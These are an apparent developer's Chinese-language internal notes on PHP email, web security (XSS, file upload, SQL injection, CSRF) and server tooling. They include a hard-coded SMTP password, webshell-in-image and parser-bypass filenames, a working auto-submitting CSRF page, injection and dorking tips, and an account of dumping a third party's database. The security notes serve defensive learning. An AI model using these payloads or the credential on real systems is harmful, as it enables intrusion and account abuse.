php发送邮件的相关知识

编	写:袁	亮
时	间:2015-07-28
说	明:php发送邮件的相关知识

一、什么时候需要用到?
	1、系统监控,应用监控报警
	2、相应的项目统计
	3、用户注册、重置密码
	4、发送推广内容(现在很少)
	5、给用户的正式通知
	
二、php中发送邮件的方式
	1、使用封装好的PHPMailer类发送【常用】
		网上下载相应的类文件即可phpmailer
	2、使用smtp类发送
		与PHPMailer类似
	3、PEAR::Net_SMTP组件
		需要引用pear类库中的Net/SMTP.php和Mail/mime.php,服务器上没有的话,直接下载也可以
		据说挺好用的,很强大,没用过,可以尝试下
	4、内置函数mail
		php需要安装正在运行的邮件系统,了解即可,平时不用
	5、popen管道形式发送
		需要配置邮件服务器,了解即可,我也没用过

三、PHPMailer简单demo
	IsSMTP();//使用smtp协议
	$mail->SMTPDebug = false;
	$mail->Host = "smtp.163.com"; //使用哪个smtp服务器,在对应的邮件设置里找SMTP服务器
	$mail->SMTPAuth = true; //需要认证,必选,基本没有不认证的了
	$mail->Username = "ci123_demo"; //邮箱账号,不需要@什么的,需要在邮箱里开启smtp服务,否则失败
	$mail->Password = "nymqjctyjlykkfpt"; //开启smtp服务的时候系统自动设置的密码(163是这样)

	$mail->CharSet = "UTF-8";//编码设置
	$mail->From = "ci123_demo@163.com";//发件人完整邮箱地址
	$mail->FromName = "育儿网";//发件人备注名,可以随意填写,方便自己看即可

	//发送给谁,可以发给多个人,多次执行AddAddress,前面是邮箱地址,后面是备注
	$mail->AddAddress('yuanliang@corp-ci.com', "袁亮");
	$mail->AddCC('629036398@qq.com','暗夜御林');//抄送,暗送是BCC

	$mail->Subject = '邮件标题';
	$content = '邮件测试内容'.date('Y-m-d H:i:s');
	//$mail->Body = $content;//纯文本内容,不能发送html
	$mail->MsgHTML($content);//以html的形式发送,一般用这个,方便排版

	if(!$mail->Send()){
		echo $mail->ErrorInfo;
		die();
	}
	echo 'succ';
	die();
		
四、PHPMailer注意事项
	1、php需要支持sockets,大部分情况下都开启了,phpinfo查看Sockets Support
	2、最常见的错误是需要开启smtp服务,到对应的邮箱里开启
		smtp服务器地址
		邮箱账号
		授权密码,非邮箱登陆密码
	3、需要发送html内容的,需要使用MsgHTML
	4、发送失败的情况下,第一反应是看报错信息,而不是瞎猜
		
五、邮件发送的注意事项
	1、限制
		每个邮件服务器,都有限制邮件数量,163的限制比较少
		出现莫名其妙收不到的情况,可以尝试换一个账号发,换一个账号收等来测试是哪方面有问题
	2、内容过滤
		垃圾内容过滤是邮件服务器最核心的功能,如果对用户发的时候,需要注意内容是否会被过滤,可以先拿自己的账号测试
	3、发送附件
		AddAttachment('文件绝对路径','附件名称');
		
六、邮件协议
	1、POP3
		1.1 POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件
		1.2 POP3协议允许电子邮件客户端下载服务器上的邮件,但是在客户端的操作(如移动邮件、标记已读等),不会反馈到服务器上
			比如通过客户端收取了邮箱中的3封邮件并移动到其他文件夹,邮箱服务器上的这些邮件是没有同时被移动的
	2、IMAP
		2.1 交互式邮件存取协议,它是跟POP3类似邮件访问标准协议之一
		2.2 IMAP提供webmail 与电子邮件客户端之间的双向通信,客户端的操作都会反馈到服务器上,
			对邮件进行的操作,服务器上的邮件也会做相应的动作
		2.3 IMAP像POP3那样提供了方便的邮件下载服务,让用户能进行离线阅读
	3、SMTP
		3.1 简单邮件传输协议;它是一组用于从源地址到目的地址传输邮件的规范,通过它来控制邮件的中转方式
		3.2 SMTP认证,就是要求必须在提供了账户名和密码之后才可以登录 SMTP 服务器,现在已经没有不需要认证的了,除非自己搭
		3.3 发送邮件,必须是开的这个服务
		
附录:
	http://www.w3school.com.cn/php/php_ref_mail.asp
	http://blog.csdn.net/heiyeshuwu/article/details/458170
	http://blog.csdn.net/rainday0310/article/details/6281936
	http://help.163.com/09/1223/14/5R7P6CJ600753VB8.html

php序列化对象导致的错误


编	写:袁	亮
时	间:2014-04-11
说	明:序列化对象导致的错误

一、问题描述
	在迁移blogadmin项目的时候遇到了一个报错:(迁移前php版本:5.2.6、迁移后php版本:5.3.7)

	Fatal error: PostsController::index(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "Information" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition

二、解决过程
	1、根据报错信息搜索,查找到文档:http://www.php.net/manual/zh/language.oop5.serialization.php
	2、按文档里的说明,结合程序,出现问题的原因是:
		a、程序中,会把对象存储会话中(session,session会调用php的serialize函数序列化对象)
		b、在新的页面中,程序从session中,取出数据,并自行调用unserialize函数,反序列化对象,并且正常使用对象
		c、以上要正常使用,必须保证对象所对应的类定义要在unserialize之前,否则反序列化出来的对象会有缺失,从而导致错误
		d、一般情况下,调整session_start和引用类定义文件的顺序即可
		
	3、根据上述信息,调试程序,发现调用对象的时候,类已经定义,而且类定义的引用在session_start之前
	4、经查,发现是该服务器的php配置中,自动开启了session_start,导致session_start永远在类定义前,从而导致错误发生
	5、修改php配置,并重启apache即可

	

【web安全】- xss注入攻击的总结

编	写:袁亮
时	间:2014-10-10
功	能:xss攻击的总结文档

一、xss注入攻击危害
	1、cookie、session等劫持,任意登陆其他用户、管理员的账号,从而做一些非法操作,比如登陆后台操作等等
	2、挂马、流量劫持,将正常访问我们站点的流量导到他们的网站,从而实现谋利等
	3、记录用户的键盘输入,从而实现盗取账号密码等
	4、弹出广告,篡改页面,引导用户输入账号密码等
	5、用管理员权限,进行提权,比如上传一些webshell,进一步来提权控制服务器等
	6、使用劫持的流量进行攻击等操作

二、防御措施
	1、cookie设置的时候,设置为http only,除非没办法一定要给js读取,否则都设置为http only
	2、外部参数都要过滤:get、post、cookie
	3、数字型参数,一律使用intval转型
	4、字符串:纯文字,不允许html、js等效果的,使用strip_tags过滤,绝大多数都可以防止
		4.1 非编辑器的内容输入,基本上都可以采用该策略
		4.2 编辑器的内容,产品允许的情况下,也可以这么用,指定strip_tags的第二个参数,只允许部分标签
	5、字符串:允许html,但不允许脚本执行(编辑器内容)
		5.1 完全避免是不可能的
		5.2 针对一般性的注入进行防范,参考附件中的removeXss函数,还是会被绕过
		5.3 去除了一些危险标签,以及几乎所有的js事件,可能会存在误判,可根据各项目情况,自行修改过滤标签数组
		5.4 一般只针对富文本编辑器产生的内容处理,其他的采用上面的方法处理
	6、采用html purifier来过滤所有的xss攻击(成本较高,特别重要的项目的部分输入才引入)
		6.1 只看了大概介绍,没有具体研究,有兴趣的可以试下

	总结:数字型支架intval,非编辑器产生的字符串基本都可以用strip_tags过滤,编辑器的可采用removeXss进行过滤。

三、其他工具
	1、web自动扫描工具(360漏洞扫描)
	2、360webscan.php(自动拦截记录get、post、cookie中的非法请求,会上传报告,记得关掉,易误伤)
	3、XSSer
	4、app检测:http://service.security.tencent.com/kingkong

四、通用后台登陆验证升级:
	1、产生的登陆cookie设置为http only,防止因为其他站点的xss工具导致cookie被劫持
	2、验证生成的秘钥与验证时候的ip与agent绑定,防止非法使用
	3、登陆产生的秘钥存储在session中,过期失效

【web安全】- 文件上传漏洞


编	写:袁	亮
时	间:2014-10-27
说	明:文件上传、下载漏洞的研究

一、上传漏洞原理
	1、用户上传了非法的文件
	2、存储的目录有执行脚本权限,且非法文件能被解析
	3、可以通过web方式访问该文件

二、上传验证攻防手段:
	1、防御:客户端js坚持文件类型和大小是否合法
	   攻击:直接修改浏览器的js或者使用burpsuite等工具修改提交的数据
	
	2、防御:服务端后缀名检测
	   攻击:直接修改脚本后缀名上传即可,后缀名判断采用白名单形式,不要用黑名单
		2.1 结合服务器端的解析漏洞
		2.2 IIS的解析漏洞:可以采用类似webshell.asp;test.jpg 的文件,会被IIS解析为webshell.asp
		2.3 apache解析漏洞:webshell.php.rar.rar a.php.123
			2.3.1 AddHandler php5-script .php 危险文件:test2.php.jpg
			2.3.2 AddType application/x-httpd-php .jpg jpg也能作为脚本执行
			2.3.3 配置了php2 php4等也作为脚本执行
		2.4 nginx解析漏洞:/test.jpg/webshell.php (0.87版本以下)
		2.5 windows下:webshell.asp_ webshell.asp.等形式,windows自动会把asp后面的去掉
		2.6 linux下:webshell.php0x00.jpg 0x00在C里是终结符,会被截断为webshell.php
	
	3、防御:服务端MIME类型检测
	   攻击:修改请求包中的Content-Type字段即可绕过

	4、防御:服务端根据文件内容进行类型检测
		4.1 文件头头检测,比如getimagesize等,检测的就是文件头不10个字节左右
		4.2 文件加载测试,比如图片渲染,或者二次渲染
	   攻击:修改上传文件的内容
		4.1 在正常的图片文件头之后,加入可执行脚本
		4.2 使用GIMP工具,在图片的空白区域,填充代码,可以绕过渲染检测

三、上传之后攻击
	1、服务器配置不当,导致webshell被执行
		1.1 上传目录可执行
		1.2 非法文件名被解析
	2、程序不当,导致webshell执行
		1.1 引用了上传的文件(很多开源的框架都有这种漏洞,比如UCenter的js.php等等)
		1.2 直接使用了源文件的后缀名等,导致成功使用了解析漏洞,如果生成的文件都重命名了,那么文件名解析漏洞肯定不存在
	3、得到webshell之后,基本上,可以说这个站点已经沦陷了,后面可以做的事情太多了
		3.1 有个很出名的webshell叫中国菜刀,大家可以下过来玩下
四、安全防范
	说明:具体看各种攻防手段,感觉要完全解决上传漏洞是件非常麻烦,而且有技术含量的事情
	但是从本身的原理上来看,只要遵循规范,其实是一件很容易规避的问题(开源框架例外,太多不可控)
	1、服务器方面:
		1.1 【最重要】上传文件的目录,设置为不可执行(就算所有判断都没加,只要这点做了,基本上就成功了)
		1.2 apache、nginx不要配置一些奇怪的解析
		1.3 上传的图片可以采用统一的域名进行访问,不与web服务器一起
	2、程序方面
		2.1 根据文件头,判断文件类型,并采用白名单过滤,只允许有限几种类型
		2.2 重写文件名,并且文件名与用户输入的数据无关
		2.3 如果是图片的话,可以进行图片压缩等操作,一般来说,非法代码都会被干掉

五、容易遗漏的过滤
	1、引用了富文本编辑器,但是没做任何更改,一般富文本编辑器会自带了上传功能,包括服务器端的,很多人会忘了该这个,从而导致webshell被上传执行
	2、开源框架本身的有include一些生成文件的,这个只能多关注开源框架的一些最新安全消息,进行升级

六、文件下载
	1、文件下载遵循一个原则,所有要下载的文件名,都不允许是通过参数传递进来的
	2、将可下载的文件,通过后台等形式记录到数据库中,并给与编号
	3、只允许根据编号来进行相应的文件下载
	4、导出数据的,根据取到的数据库,生成文件下载需要防范的是sql注入等问题,与文件下载本身没什么管理,参考其他防范措施

附录:
1、在图片里写入一句话木马
	copy /b tangwei.jpg+yijuhua.php tangweiyijuhua.jpg
2、二次渲染
	就是重新生成图片,然后删除原图

【web安全】- sql注入的实战与防范

编	写:袁	亮
时	间:2014-10-24
说	明:sql注入的实战与防范

一、对m端知识目录下的程序进行注入:
	1、结果:通过sqlmap将整个baike的数据库down下来了
	2、代码有以下问题:
		2.1 程序设置了报错开启输出
		2.2 参数没有做过滤,大部分都是整型,intval下其实就可以解决
		2.3 搜索功能的搜索值也没有做任何处理
		2.4 妈妈经的后台,sadmin/sub下的所有程序都没有验证登陆
		2.5 妈妈经后台的处理程序,对任何外部数据都没有处理,后台要是沦陷,轻易可以住人做任何事情
	3、处理结果:
		已经反馈给戴维杨,做相应的升级
二、英皇下载漏洞以及sql住人漏洞的利用:
	1、结果:根据乌云上爆出的漏洞,将英皇那台服务器上的代码基本上都down下来了
		根据其中的sql住人利用,使用sqlmap将其库拖成功
	2、学到的东西:
		2.1 sqlmap在住人rewrite的网址时,对rewrite网址中参数部分加一个*号即可正常住人,否则rewrite过的页面是住人不起来的
		2.2 报错绝对要关掉
		2.3 猜测程序目录等的时候,可以通过读/etc/passwd文件,知道服务器上有哪些账号,根据账号读取相应的/home/账号名/.bash_history 来读取历史操作
		2.4 结合页面url,来猜测其中的一个文件,只要找对了一个文件名,就可以根据引用关系顺藤摸瓜,将其绝大多数代码搞定
三、openlogin服务器端安全升级:
	1、上周对openlogin的客户端进行了安全升级,但是服务端很是很脆,上去看了下,拖库太轻松了,所以将其安全方面升级了下。
	2、具体实现:
		2.1 mysql_error不允许输出
		2.2 openpassword加密,现在是直接输出的数据库中的md5值
		password记录到cookie中的值为md5("实际密码").','.生成时候的时间戳.','.md5(时间戳+随机字符串)
		使用cookie中的密码时候,必须保证前后两个都是32位的md5值,中间的时间戳不超过1星期,后面的MD5验证串正确
		当用户的cookie被劫持的话,还是有可能被绕过
		2.3 用户输入的用户名只能是4位小写字母加0到16位小写字母加数字
		2.4 密码必须超过6位,必须有两种字符(大写字母、小写字母、数字、特殊字符)
		2.5 密码不带入sql中进行查询,只根据账号取出来的密码进行字符串匹配是否相等,从而防止sql注入
		2.6 所有的cookie不允许js读取
		2.7 openlogindomain也做同样的升级处理
		2.8 该目录下的其他数据库连接文件,全部引用ci123_safe.php文件,防止一般攻击(40多个文件,改的好蛋疼...)
四、防范要点:
	1、对所有的外部数据都要过滤,判断($_GET,$_POST,$_COOKIE,$_SERVER等),不要使用一些奇奇怪怪的数据接收方式,比如$_REQUEST,$GLOBALS['HTTP_RAW_POST_DATA']之类的,这个后面要审核代码就是个悲剧,容易漏掉
	2、清楚的知道数据是什么格式,多少长度的,做相应的判断
	3、90%以上的参数都是整型,直接intval处理
	4、字符串型的,如果是特地格式的数据,直接用正则来判断:
		4.1 手机号、ip地址、用户名、QQ号、邮编、邮箱、日期等等
		4.2 这些的正则网上随便找找就一大堆,不要说不知道怎么写
	5、富文本编辑器的的情况下,可以采用360的过滤,因为这些很难验证,我们可以采用他们做的这个来验证
	6、千万不要开报错!!!页面里不能输出
	7、数据库权限开通:master:增删改查,slave:select权限即可
五、攻击小技巧
	1、利用搜索引擎找到有漏洞的页面:site:***.com inurl:?id=之类的
	2、通过在参数后面加单引号或者and 1=1 ,and 1=2 来判断是否可注入
	3、善于利用工具来做,然后看下工具生成的攻击log来学习

CSRF攻击范例

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>自动加粉丝</title>
</head>

<body>
<div style="display:none">
<form action="http://t.ci123.com/subs/follow.php" name="addForm" method="post" id="addFans" target="ipost">
<input type="text" name="uid" value="1535917"  />
<input type="text" name="types" value="1" />
</form>
<iframe name="ipost" id="ipost"></iframe>
</div>
<script language="javascript">
document.getElementById("addFans").submit();
</script>
</body>
</html>

【web安全】- CSRF攻击的说明和理解

编	写:袁	亮
时	间:2014-10-14
功	能:CSRF攻击的说明和理解

一、介绍
	1、跨站点请求伪造
	2、不收集用户的cookie、不伪造cookie、session等验证信息,直接让用户使用有验证过的情况下去做一些请求,从而造成
破坏

二、大致原理
	1、诱使用户访问一个有问题的页面A
	2、该问题页面A中会发起一个隐藏需求,比如
	3、用户在访问该页面的时候,会以验证过权限的身份隐式的请求
	4、可能会发起是post或者get请求,post稍麻烦点,get非常简单
		4.1 隐藏一个自动提交的post表单,还可以发送到一个隐藏的iframe里,对用户完全透明
		4.2 如果是用户自己的站点,ajax发起post请求
		4.3 通过flash发起post请求

三、防范
	1、重要操作,采用post请求,不要用get请求,get更容易伪造(删除、顶、点赞等)
	2、慎用P3P头,因为这个会导致一些浏览器的cookie安全策略失效(img,iframe等请求本是不发送cookie过去的)
	3、重要操作添加验证码(对用户不友好)
	4、refer检查,易误伤(有些浏览器不发送refer,而且refer易伪造)
	5、Anti CSRF Token验证
		5.1 token放在表单中,不要放在链接中
		5.2 session或者cookie中也存放一个token
		5.3 token使用后需要释放,但需要注意多个页面待提交的问题,生成多个token来解决
		5.4 如果存在xss漏洞的话,token就基本无效了

四、例子(让用户关注我的育儿微博账号)
	1、让用户访问我的一个页面
		1.1 可以是一个自己的网站
		1.2 也可以随便找个有xss注入攻击的站点,比如在博客里插入一段危险代码
		1.3 具体代码可以参考附件中的add_fans.php中的代码(非常简单的html加一行js)
	2、用户访问时,会隐藏的提交了一个post请求
		2.1 该请求对用户完全透明
		2.2 不需要伪造用户的登陆信息,也不需要获取用户的登陆信息,完全绕过登陆验证环节
		2.3 用户只要登陆了育儿网账户,就会自动关注我的微博账号
	3、其他危险
		3.1 通过这种方法,基本上,可以用用户的账号做任何操作(对我们网站现在的情况来说)
		3.2 让访问的用户,自动发送一篇带有add_fans.php的博客,形成蠕虫病毒扩散(xss过滤不完成的话)
		3.3 在扩散出去的这些用户中,还可以升级下add_fans.php的代码,比如让他们帮忙发广告、投票、评论等等

php扩展安装的大概流程


编	写:袁	亮
时	间:2015-07-27
说	明:php扩展安装的大概流程

一、安装流程
	1、找到php源码包,进入ext目录
		1.1 注意,是源码包,而不是安装之后的那个文件夹,类似于windows,下载了一个软件包(源码包),安装到了另外一个目录
			使用的时候是直接用的安装好的目录下的程序,而要装扩展,需要的是源码包里的东西
		1.2 注意版本问题,最好是跟已经安装的php同一个版本的源码包,否则很可能会失败
		1.3 例如:192.168.0.249 
			cd /opt/software/centos/php-5.3.27/ext/pdo_mysql
	2、/opt/ci123/php/bin/phpize
		2.1 需要在扩展的那个目录下执行
		2.2 根据自己的php安装目录,找到bin/phpize
		2.3 正常的话,会生成configure
	3、 ./configure --with-php-config=/opt/ci123/php/bin/php-config --with-pdo-mysql=/opt/ci123/mysql/
		3.1 with-pdo-mysql非必须,其他是安装任何扩展都需要的
		3.2 必须在ext目录下执行
	4、make && make install
		4.1 没问题的话,会在最后输出一个目录,看下目录里是否有生成对应的.so文件,比如这次的就是pdo_mysql.so
	5、修改php配置文件,将扩展添加进去
		5.1 php.ini文件,可以通过phpinfo得到其路径,如果那个目录下没有,可以拷贝一份php.ini文件
		5.2 在末尾增加
			[pdo_mysql]
			extension=pdo_mysql.so
	6、验证模块是否正确添加
		php -m|grep pdo_mysql
		ps:如果有输出才算正常
	7、重启http服务,重新加载php
		/opt/ci123/apache/bin/apachectl -t
		/opt/ci123/apache/bin/apachectl restart
		ps:必须-t先检查下配置文件是否正常,别到时候其他人把apache配置改错了,但是因为没重启没问题,被你重启出问题来了
		
		

linux screen命令的简单使用


编	写:袁	亮
时	间:2015-07-27
说	明:linux screen命令的简单使用

一、解决什么问题?
	1、在服务器执行一些比较耗时的事情:下载、系统备份、传输文件、安装软件或者执行一个脚本等
	2、当因为某些原因与服务器断开连接,所有的执行都会白费(网突然断了,putty不小心关了,电脑卡死等等原因)
	3、或者我们在同一台服务器上需要做多件事,经常需要切换目录等等
	当出现以上情况时,都可以考虑使用screen来解决
	
二、大致原理
	1、正常我们使用putty连接到服务器,相当于一次会话
	2、当连接终止的时候,该会话相关的进程都会被终止,关闭,因此就会出现任务还没执行完,就挂掉了
	3、screen相当于在服务器上使用后台又开了一个会话,因此当前这个会话被关闭,不影响新开的那个会话中的任务执行
	4、当我们putty断掉之后,可以重新连接上去,查看之前的screen会话中的执行情况
	
三、简单使用
	1、添加一个screen窗口
		screen -S 自己定义窗口名,方便查看
	2、查看现在有几个screen
		screen -ls
	3、中断跳出某个screen窗口
		ctrl+a+d
	4、选择恢复某个screen窗口
		screen -r 创建时候定义的名字,或者通过screen -ls中看到的数字编号
	5、彻底关闭某个screen窗口
		5.1 在那个窗口中直接exit
		5.2 在那个窗口下,ctrl+d
		5.3 在那个窗口下,ctrl+a+k
		
四、原理(有兴趣的可以了解下,没兴趣的知道上面的即可)
	1、进程组、会话期
		进程组(process group):一个或多个进程的集合,每一个进程组有唯一一个进程组ID,即进程组长进程的ID
		会话期(session):一个或多个进程组的集合,有唯一一个会话期首进程(session leader)。会话期ID为首进程的ID
		会话期可以有一个单独的控制终端(controlling terminal)。与控制终端连接的会话期首进程叫做控制进程(controlling process)。当前与终端交互的进程称为前台进程组。其余进程组称为后台进程组
	2、挂断信号(SIGHUP)默认的动作是终止程序
		当终端接口检测到网络连接断开,将挂断信号发送给控制进程(会话期首进程)
		如果会话期首进程终止,则该信号发送到该会话期前台进程组
		一个进程退出导致一个孤儿进程组中产生时,如果任意一个孤儿进程组进程处于STOP状态,
		发送SIGHUP和SIGCONT信号到该进程组中所有进程
	3、因此当网络断开或终端窗口关闭后,控制进程收到SIGHUP信号退出,会导致该会话期内其他进程退出
	4、nohup使用
		nohup [要执行的shell命令] &
		很多时候,我是没加nohup,直接最后加&也可
	5、screen是直接新建会话,然后避免掉了上面的这个问题,nohup是忽略挂断信号来达到目的
	
附录:
	http://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html
	http://www.ibm.com/developerworks/cn/linux/l-cn-screen/

php性能分析工具xhprof – 基础使用


编	写:袁	亮
时	间:2015-07-24
说	明:php性能分析工具xhprof-基础使用

一、简单介绍
	1、由Facebook开源的一个php性能分析工具
	2、统计函数级别的请求次数,执行时间,阻塞时间,CPU和内存使用情况等
	3、分析一个复杂项目的性能瓶颈时非常有用,很直观的看出问题在哪
	4、也可以用这个来绘制调用的关系图,方便代码理解

二、安装扩展
	1、下载扩展包
		wget http://pecl.php.net/get/xhprof-0.9.2.tgz  
	2、解压
		tar zxvf  xhprof-0.9.2.tgz
	3、安装
		cd xhprof-0.9.2/extension/
		/opt/ci123/php/bin/phpize
		./configure --enable-xhprof --with-php-config=/opt/ci123/php/bin/php-config
		make
		make install
	4、修改php.ini配置文件
		vim /opt/ci123/php/etc/php.ini
		最后,加上:
			[xhprof]
			extension=xhprof.so
			xhprof.output_dir=/tmp/xhprof
		ps:目录需要保证apache有读写权限,最后不能带/,否则会报错
	5、检验是否成功
		/opt/ci123/php/bin/php -m|grep 'xhprof'
	6、重启apache
		/opt/ci123/apache/bin/apachectl -t
		/opt/ci123/apache/bin/apachectl restart

三、自带的范例运行
	1、将解压出来的文件夹,复制到一个apache可访问的目录,extension目录不需要
	2、浏览器访问该目录下的examples/sample.php
	3、查看最后输出的提示,访问对应的链接,有相应的分析,xhprof_html/index.php
	4、出不了图的话,安装下graphviz,默认不支持png,需要再装一个gd的
		yum install graphviz
		yum install graphviz-gd
	
四、简单试用
	1、blog.geekman.vip分析
	2、首页,调用了99,829个函数
	3、可以进行各种排序,查看时间主要耗在哪些函数上
	4、可以查看整个运行过程中的性能瓶颈,图片格式,很直观
	5、范例:
		http://192.168.0.249/xhprof/xhprof_html/?run=55b1de2f8613a&source=xhprof_foo
	
附录:
	http://mirror.facebook.net/facebook/xhprof/doc.html
	http://avnpc.com/pages/profiler-php-performance-online-by-xhprof
	http://www.cnxct.com/you-do-not-have-dot-image-generation-utility-installed/